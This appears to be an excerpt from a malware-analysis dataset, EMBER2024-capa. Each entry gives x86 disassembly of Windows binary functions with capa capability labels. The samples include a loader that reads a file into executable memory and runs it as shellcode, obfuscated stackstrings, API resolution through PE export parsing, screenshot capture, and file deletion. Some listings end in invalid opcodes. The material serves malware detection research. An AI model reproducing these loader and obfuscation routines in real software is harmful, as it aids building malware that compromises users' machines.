joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1a8d90
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
jne 0x1a8d97
xor eax, eax
ret
push esi
not eax
cmp edx, 8
jb 0x1a8e74
mov esi, edx
shr esi, 3
push edi
lea esp, [esp]
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x1d0a48]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x1d0a48]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x1d0a48]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x1d0a48]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x1d0a48]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x1d0a48]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x1d0a48]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x1d0a48]
inc ecx
sub edx, 8
sub esi, 1
jne 0x1a8db0
pop edi
test edx, edx
je 0x1a8e9b
jmp 0x1a8e80
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x1d0a48]
inc ecx
sub edx, 1
jne 0x1a8e80
not eax
pop esi
ret

Function at 0x1a8ea0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [edx]
movsx ecx, cl
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x1d0a48]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x1d0a48]
mov dword [edx + 8], ecx
ret

Function at 0x1a8ef0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esi + 8]
push ebx
mov edx, ecx
and edx, 0xfffd
or edx, 2
mov ebx, edx
xor ebx, 1
imul ebx, edx
mov edx, dword [esi]
shr ebx, 8
push edi
xor al, bl
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x1d0a48]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x1d0a48]
pop edi
mov dword [esi + 8], ecx
pop ebx
ret
Function at 0x1aa2f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push edi
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jne 0x1aa30e
pop edi
pop ebp
mov eax, 0xffffff9a
pop ebx
add esp, 0xc
ret
cmp dword [edi + 0x18], ebx
je 0x1aa302
cmp dword [edi + 0x7c], ebx
je 0x1aa31d
call fcn.001aa6e0
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.001aa060
add esp, 0xc
test eax, eax
je 0x1aa344
pop edi
pop ebp
mov eax, 0xffffff99
pop ebx
add esp, 0xc
ret
push esi
push 0x84
call fcn.001b565a
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x1aa385
push 0x4000
call fcn.001b565a
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
add esp, 4
mov dword [esi], eax
mov dword [esi + 0x44], ecx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], ebx
cmp eax, ebx
jne 0x1aa392
push esi
call fcn.001b5724
add esp, 4
pop esi
pop edi
pop ebp
mov eax, 0xffffff98
pop ebx
add esp, 0xc
ret
mov dword [esi + 0x40], ebx
mov ecx, dword [edi + 0x3c]
xor eax, eax
cmp dword [edi + 0x34], ebx
mov dword [esi + 0x54], ecx
mov dword [esi + 0x50], ebx
mov edx, dword [edi + 0x34]
sete al
mov dword [esi + 0x64], edx
mov ecx, dword [edi]
mov dword [esi + 0x60], ecx
mov edx, dword [edi + 0xc]
mov dword [esi + 0x68], edx
mov dword [esi + 0x18], ebx
cmp eax, ebx
jne 0x1aa3da
lea eax, [esi + 4]
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
call fcn.001a91b0
test eax, eax
jne 0x1aa3da
mov dword [esi + 0x40], 1
mov eax, dword [edi + 0x40]
mov dword [esi + 0x58], eax
mov ecx, dword [edi + 0x44]
mov dword [esi + 0x5c], ecx
mov dl, byte [edi + 0x30]
and dl, 1
mov byte [esi + 0x6c], dl
mov eax, dword [edi + 0x30]
shr eax, 3
test al, 1
je 0x1aa404
mov cl, byte [edi + 0x39]
mov byte [esi + 0x80], cl
jmp 0x1aa40d
mov dl, byte [edi + 0x3f]
mov byte [esi + 0x80], dl
movzx eax, byte [esi + 0x6c]
neg eax
sbb eax, eax
and eax, 0xc
lea edx, [esi + 0x70]
mov dword [esi + 0x7c], eax
mov dword [edx], 0x12345678
mov dword [esi + 0x74], 0x23456789
mov dword [esi + 0x78], 0x34567890
cmp ebp, ebx
je 0x1aa447
mov cl, byte [ebp]
cmp cl, bl
je 0x1aa447
call fcn.001a8ea0
add ebp, 1
jne 0x1aa436
mov ecx, dword [edi + 0x78]
mov edx, dword [esp + 0x18]
lea eax, [ecx + edx + 0x1e]
mov dword [esi + 0x3c], eax
mov dword [esi + 8], ebx
mov dword [edi + 0x7c], esi
pop esi
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
Function at 0x4011e0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
push 0x40e040
call fcn.00405c7e
add esp, 4
test eax, eax
jne 0x401252
push str.TEMP
call fcn.00405c7e
add esp, 4
test eax, eax
jne 0x401252
lea eax, [esp + 4]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
push 0
lea ecx, [esp + 8]
push 0
lea edx, [esp + 0x10]
push ecx
push edx
call fcn.00405b37
mov ecx, dword [esp + 0x120]
push 0
push 0
lea eax, [esp + 0x1c]
push 0x40e030
push eax
push ecx
call fcn.00405aa6
add esp, 0x28
add esp, 0x108
ret
mov edx, dword [esp + 0x10c]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0x108
ret

Function at 0x401540
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x44c
lea eax, [esp]
push eax
call fcn.004011e0
add esp, 4
lea ecx, [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [esp + eax - 1], 0x5c
je 0x401575
lea edx, [esp]
push 0x40e080
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [esp + 4]
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea ecx, [esp + 0x354]
push str._svis
push ecx
call edi
add esp, 0xc
lea edx, [esp + 0x10c]
lea eax, [esp + 0x350]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401619
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileA]
test byte [esp + 0x110], 0x10
je 0x401602
lea ecx, [esp + 0x13c]
lea edx, [esp + 0xc]
push ecx
push edx
lea eax, [esp + 0x258]
push str._s_s
push eax
call edi
lea ecx, [esp + 0x260]
push ecx
call fcn.004014f0
add esp, 0x14
test eax, eax
je 0x401602
lea edx, [esp + 0x250]
push edx
call fcn.004013c0
add esp, 4
lea eax, [esp + 0x110]
push eax
push esi
call ebp
test eax, eax
jne 0x4015b8
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebp
pop edi
pop esi
add esp, 0x44c
ret

Function at 0x401650
Capabilities:
Delete directory

Disassembly:
push 0x40ef14
call fcn.00401100
add esp, 4
test eax, eax
je 0x40166e
push 0x40ef14
call fcn.004013c0
add esp, 4
push 0x40f01c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x401688
push 0x40f01c
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
ret
Function at 0x408381
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40e838
cmp edx, dword [eax]
je 0x4083a3
add eax, 8
inc ecx
cmp eax, 0x40e8c8
jl 0x408394
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40e838]
jne 0x4084d1
mov eax, dword [0x40f258]
cmp eax, 1
je 0x4084ab
test eax, eax
jne 0x4083d4
cmp dword [0x40e504], 1
je 0x4084ab
cmp edx, 0xfc
je 0x4084d1
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40840b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00409e10
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00406d50
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40844e
lea eax, [ebp - 0x1a4]
push eax
call fcn.00406d50
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40d4c4
push edi
call fcn.00408980
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00409e10
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00409e20
lea eax, [ebp - 0xa0]
push 0x40d4a4
push eax
call fcn.00409e20
push dword [esi + 0x40e83c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00409e20
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040afc4
add esp, 0x2c
pop edi
jmp 0x4084d1
lea eax, [ebp + 8]
lea esi, [esi + 0x40e83c]
push 0
push eax
push dword [esi]
call fcn.00406d50
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x408980
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sal byte [esi + eax - 1], cl
test dword [edi + edi*8 - 1], esi
dec dword [edi]
scasd eax, dword es:[edi]
lea esi, [edi + edi*8 - 1]
dec dword [ecx + 0x5d880c4d]
ror byte [eax + 0x45c6c15d], 0xc2
in al, dx
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.0040869b
xor eax, 0x8db173e4
inc ebp
rcl byte [eax - 0x18], 0xc5
cld
invalid
Function at 0x408a7e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.004086ab
push eax
push esi
push dword [ebp + 8]
call fcn.00408660
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004086ab
push eax
push esi
push dword [ebp + 8]
call fcn.00408660
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0040869b
or byte [ebx - 0x627729e7], dh
jl 0x408b20
invalid
invalid
Function at 0x408f41
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00408660
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.004086ab
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00408660
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.004086ab
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00408660
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.0040869b
mov cl, 0x8a
dec ecx
add eax, dword [eax - 0x5335b]
inc dword [eax]
and byte [ebp - 0x533], 0
mov byte [ebp - 0x532], 0x68
and byte [ebp - 0x531], 0
mov byte [ebp - 0x530], 0xd4
mov byte [ebp - 0x52f], 0xfb
mov byte [ebp - 0x52e], 0xf8
mov byte [ebp - 0x52d], 0xe4
mov byte [ebp - 0x52c], 0xf2
mov byte [ebp - 0x52b], 0xdf
mov byte [ebp - 0x52a], 0xf6
mov byte [ebp - 0x529], 0xf9
mov byte [ebp - 0x528], 0xf3
mov byte [ebp - 0x527], 0xfb
mov byte [ebp - 0x526], 0xf2
mov byte [ebp - 0x525], 0x97
lea eax, [ebp - 0x534]
push eax
call fcn.004086ab
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00408660
add esp, 0xc
mov dword [ebp - 0x680], eax
call fcn.0040869b
mov ebx, 0x80f167cc
movsd dword es:[edi], dword [esi]
pushfd
stc
invalid
Function at 0x409557
Capabilities:
Contain obfuscated stackstrings

Disassembly:
ficomp word [edx]
and byte [ebp - 0x230], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00408679
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]

Function at 0x40a4c3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
loope 0x40a4c5
invalid
inc dword [ebx + 0x44e90cc4]
add dword [eax], eax
add byte [ebx - 0x6fb43], al
inc dword [0x94850f]
add byte [eax], al

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x1b863df
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
je 0x1fbd1dc
sub eax, eax
xchg esi, esi
movsx esi, bx
not si
pop esi
jmp 0x1409a01
mov eax, dword [eax + esi*4]
push edx
mov edx, dword [ebp + 0xc]
add eax, ecx
jmp 0x1bbacfe
mov esp, ebp
not ebp
jmp 0x142bca8
js 0x2006955
jmp 0x141e142
jns 0x1442908
lea edi, [esi - 1]
jmp 0x1b5a83d
mov eax, dword [ebp - 0xc]
sub esi, ecx
mov edx, dword [ebp + 0x10]
clc
shld esi, esp, 0xee
xor si, 0x7d5c
lea esi, [edi + ebx]
sar esi, 1
cmc
jmp 0x13fbdaf
ret
pop ebp
jmp 0x14288fb
jle 0x1b72d7d
lea ebx, [esi + 1]
and ch, 0x1a
movsx ecx, bx
mov ecx, dword [ebp + 8]
test si, 0x3b65
stc
cmp ebx, edi
jmp 0x20091a6
ja 0x1b5cf3b
mov eax, esi
cmp edi, eax
clc
sub eax, dword [edx + ecx + 0x10]
jmp 0x1fd79da
jmp 0x1442917
mov edi, dword [edx + ecx + 0x18]
test edi, 0x4bc0227f
test edi, edi
je 0x2006955
mov eax, dword [edx + ecx + 0x20]
add eax, ecx
xor ebx, ebx
dec edi
mov dword [ebp - 0xc], eax
jmp 0x1415c1f
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
bsf dx, ax
not edx
adc dh, 0x60
mov edx, dword [ecx + eax + 0x24]
shl ch, cl
lea ecx, [edx + esi*2]
test sp, 0x55a2
btc edx, eax
movzx edx, word [ecx + eax]
mov dword [ebp - 8], edx
bt cx, 0xab
mov ecx, eax
rcl dh, 0xdb
xchg dh, dh
mov edx, dword [ebp - 4]
jmp 0x2006955
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmc
lea esp, [esp - 0x114]
push esi
test ecx, ecx
je 0x13df014
mov esi, dword [ebp + 0xc]
test cx, 0x1b2b
test esi, esi
jmp 0x1ffe2f7
call fcn.01c08456
add esp, 4
clc
stc
test eax, eax
jmp 0x1418118
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x13df014
mov edx, dword [eax + ecx + 0x78]
mov dword [ebp - 4], edx
cmp esi, 0x1e957fa1
clc
test edx, edx
je 0x13df014
mov eax, dword [eax + ecx + 0x7c]
cmp dl, 0x57
cmc
push ebx
stc
cmp eax, 0x3edf17bb
push edi
mov dword [ebp - 0x10], eax
test ch, 0x31
mov dword [ebp - 8], 0xffffffff
cmp ax, 0x1a8f
cmp esi, 0xffff
jmp 0x1b3ed8b
je 0x13df014
mov eax, 0x5a4d
cmp ebx, 0x5c3f6c48
cmp word [ecx], ax
jmp 0x13df00e
jle 0x141e13d
jmp 0x1b72db0
Function at 0x40b220
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 0xc]
push ebx
movzx ebx, byte [ebp + 8]
imul ebx, eax
mov dword [ebp - 4], eax
mov dword [ebp + 0xc], ebx
test ebx, ebx
jne 0x40b243
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x483204]
test eax, eax
je 0x40b253
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
push dword [0x485d5c]
call dword [sym.imp.USER32.dll_GetDC]
lea ecx, [ebx + 1]
mov esi, eax
imul ecx, dword [0x4852a8]
push 0x90
mov dword [ebp + 8], esi
add ecx, dword [0x482198]
push ecx
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [0x483204], eax
test eax, eax
jne 0x40b2a0
push esi
push dword [0x485d5c]
call dword [sym.imp.USER32.dll_ReleaseDC]
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push esi
mov esi, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
call esi
push dword [ebp + 8]
mov edi, eax
call esi
push dword [0x483204]
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
mov ebx, eax
push edi
call esi
push dword [0x483100]
mov dword [ebp - 8], eax
push ebx
call esi
mov dword [ebp - 0xc], eax
xor esi, esi
mov eax, dword [0x482198]
cdq
idiv dword [0x4852a8]
mov edx, dword [ebp + 0xc]
mov ecx, dword [0x4852a8]
inc edx
add edx, eax
test edx, edx
jle 0x40b34d
nop
mov eax, esi
cdq
idiv dword [ebp + 0xc]
push 0xcc0020
mov eax, esi
push 0
test edx, edx
jne 0x40b307
push 0x40
jmp 0x40b320
cdq
idiv dword [ebp - 4]
test edx, edx
jne 0x40b313
push 0x50
jmp 0x40b31e
cmp ecx, 8
jl 0x40b31c
push 0x60
jmp 0x40b31e
push 0x61
mov eax, esi
push ebx
push 0x90
push ecx
imul eax, ecx
push 0
push eax
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [0x482198]
inc esi
mov ecx, dword [0x4852a8]
cdq
idiv ecx
mov edx, dword [ebp + 0xc]
inc edx
add eax, edx
cmp esi, eax
jl 0x40b2f0
push dword [ebp - 8]
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
push edi
call esi
push dword [ebp - 0xc]
push ebx
call esi
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
push edi
call esi
push ebx
call esi
push dword [ebp + 8]
push dword [0x485d5c]
call dword [sym.imp.USER32.dll_ReleaseDC]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b390
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x483208]
sub esp, 0xc
test eax, eax
je 0x40b3a6
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
push ebx
push dword [0x485d5c]
call dword [sym.imp.USER32.dll_GetDC]
movzx ecx, byte [ebp + 0xc]
mov ebx, eax
movzx eax, byte [ebp + 8]
imul eax, ecx
mov dword [ebp - 4], ecx
push 0xa0
mov dword [ebp - 0xc], ebx
mov dword [ebp + 0xc], eax
lea ecx, [eax + 1]
imul ecx, dword [0x4852a8]
add ecx, dword [0x482198]
push ecx
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [0x483208], eax
test eax, eax
jne 0x40b401
push ebx
push dword [0x485d5c]
call dword [sym.imp.USER32.dll_ReleaseDC]
pop ebx
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push edi
push ebx
call esi
push ebx
mov edi, eax
call esi
push dword [0x483208]
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
mov ebx, eax
push edi
call esi
push dword [0x48310c]
mov dword [ebp + 8], eax
push ebx
call esi
mov dword [ebp - 8], eax
xor esi, esi
mov eax, dword [0x482198]
cdq
idiv dword [0x4852a8]
mov edx, dword [ebp + 0xc]
mov ecx, dword [0x4852a8]
inc edx
add edx, eax
test edx, edx
jle 0x40b4ad
nop
mov eax, esi
cdq
idiv dword [ebp + 0xc]
push 0xcc0020
mov eax, esi
push 0
test edx, edx
jne 0x40b467
push 0x40
jmp 0x40b480
cdq
idiv dword [ebp - 4]
test edx, edx
jne 0x40b473
push 0x50
jmp 0x40b47e
cmp ecx, 8
jl 0x40b47c
push 0x60
jmp 0x40b47e
push 0x61
mov eax, esi
push ebx
push 0xa0
push ecx
imul eax, ecx
push 0
push eax
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [0x482198]
inc esi
mov ecx, dword [0x4852a8]
cdq
idiv ecx
mov edx, dword [ebp + 0xc]
inc edx
add eax, edx
cmp esi, eax
jl 0x40b450
push dword [ebp + 8]
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
push edi
call esi
push dword [ebp - 8]
push ebx
call esi
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
push edi
call esi
push ebx
call esi
push dword [ebp - 0xc]
push dword [0x485d5c]
call dword [sym.imp.USER32.dll_ReleaseDC]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x411630
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x482230]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push 0x4705ec
push eax
xor bl, bl
call fcn.004286b5
mov esi, eax
add esp, 8
test esi, esi
je 0x4116c5
push esi
push 6
lea eax, [ebp - 0xc]
push 1
push eax
call fcn.00448209
mov edx, str.Org_01
lea ecx, [ebp - 0xc]
mov eax, dword [ecx]
add esp, 0x10
cmp eax, dword [edx]
jne 0x411686
movzx eax, word [ecx + 4]
cmp ax, word [edx + 4]
jne 0x411686
mov bl, 1
mov edx, str.Org_02
lea ecx, [ebp - 0xc]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4116a0
movzx eax, word [ecx + 4]
cmp ax, word [edx + 4]
jne 0x4116a0
mov bl, 2
mov edx, str.Org_03
lea ecx, [ebp - 0xc]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4116b8
